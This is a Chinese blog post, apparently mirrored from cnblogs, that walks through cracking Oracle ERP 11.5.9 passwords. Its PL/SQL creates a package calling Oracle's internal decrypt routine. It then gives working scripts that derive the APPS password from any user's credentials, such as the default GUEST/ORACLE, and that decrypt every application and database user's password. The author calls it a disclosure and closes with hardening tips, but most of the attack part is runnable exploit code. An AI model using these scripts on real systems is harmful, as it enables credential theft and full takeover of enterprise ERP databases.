zoukankan      html  css  js  c++  java
  • 破解Oracle ERP密码

    1. 写作目的

    2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下

    (1).建立Package Header

    (2).建立Package Body.

    3. 取得APPS密码的步骤

    4. 通过任何一个User name/password取得APPS密码的方法

    5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

    6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

    7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

    8. 删除第一步建立的Package

    9. 结论

    10. 提高Oracle ERP的安全性

    11. 此程序在Oracle ERP 11.5.9通过Toad测试通过



    1。1.写作目的

    在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.

    公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.

    2. 2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下

    (1).建立Package Header

    CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

    AS

    FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

    RETURN VARCHAR2;

    END CrackPwd;



    (2).建立Package Body

    CREATE OR REPLACE PACKAGE BODY CrackPwd

    AS

    FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

    RETURN VARCHAR2

    AS

    LANGUAGE JAVA

    NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

    END CrackPwd;

    /


    3. 3. 取得APPS密码的步骤

    假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码

    4. 4. 通过任何一个User name/password取得APPS密码的方法

    SET SERVEROUTPUT ON

    DECLARE

    guestUserPwd VARCHAR2(200);

    guestUserName VARCHAR2(100);

    guestFndPwd VARCHAR2(100);

    guestEncFndPwd VARCHAR2(100);

    delim NUMBER;

    BEGIN

    guestUserPwd :='GUEST/ORACLE';--Can any user password

    IF guestUserPwd IS NULL THEN

    guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

    END IF;

    delim := INSTR(guestUserPwd,'/');

    guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

    SELECT encrypted_foundation_password INTO guestEncFndPwd

    FROM fnd_user_view

    WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

    (end_date IS NULL OR end_date > SYSDATE);

    guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

    IF NOT (guestFndPwd IS NULL) THEN

    DBMS_OUTPUT.put_line(guestFndPwd);

    END IF;

    END;




    注: guestUserPwd :='GUEST/ORACLE';--Can any user password

    上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开

    以上程序可以用toad执行

    5. 5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

    SET SERVEROUT ON

    DECLARE

    v_encrypted_pwd VARCHAR2 (100);

    v_apps_pwd VARCHAR2 (100);

    v_user_pwd VARCHAR (100);

    BEGIN

    v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

    3C10B916D88062771250F4BE653891CA90671C74187B132118335';

    --get ENCRYPTED_USER_PASSWORD from fnd_user

    IF v_apps_pwd IS NULL

    THEN

    v_apps_pwd := 'APPS';

    END IF;


    v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

    DBMS_OUTPUT.put_line (v_user_pwd);

    END;



    6. 6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

    SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user



    7. 7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

    select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou


    8. 8. 删除第一步建立的Package

    DROP PACKAGE CrackPwd



    9. 9. 结论

    11).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.
    22).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推
    33).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.
    44).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.

    1010. 提高Oracle ERP的安全性

    (1).更改APPS的密码

    (2).更改所有预先安装的fnd_user中所有user的password

    (3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password

    (4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码

    (5).尽量不要将Database 可以通过公网连接.

    (6).User离职后要将其密码变更后才停用.

    但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.

    11.此程序在Oracle ERP 11.5.9通过

             

                成长

           /      |     \

        学习   总结   分享

    QQ交流群:122230156

  • 相关阅读:
    Nginx URL后面不加斜杠301重定向
    Jenkins 配置 Node.js 项目
    在 Linux 上搭建IntelliJ IDEA license server服务器
    Vue 使用细节收集
    sinopia 搭建记录
    cli 开发记录
    Cgroup(一)简介
    Kubernetes (一)POD驱逐
    RabbitMQ(五)镜像队列
    RabbitMQ(四)队列结构
  • 原文地址:https://www.cnblogs.com/benio/p/1932576.html
Copyright © 2011-2022 走看看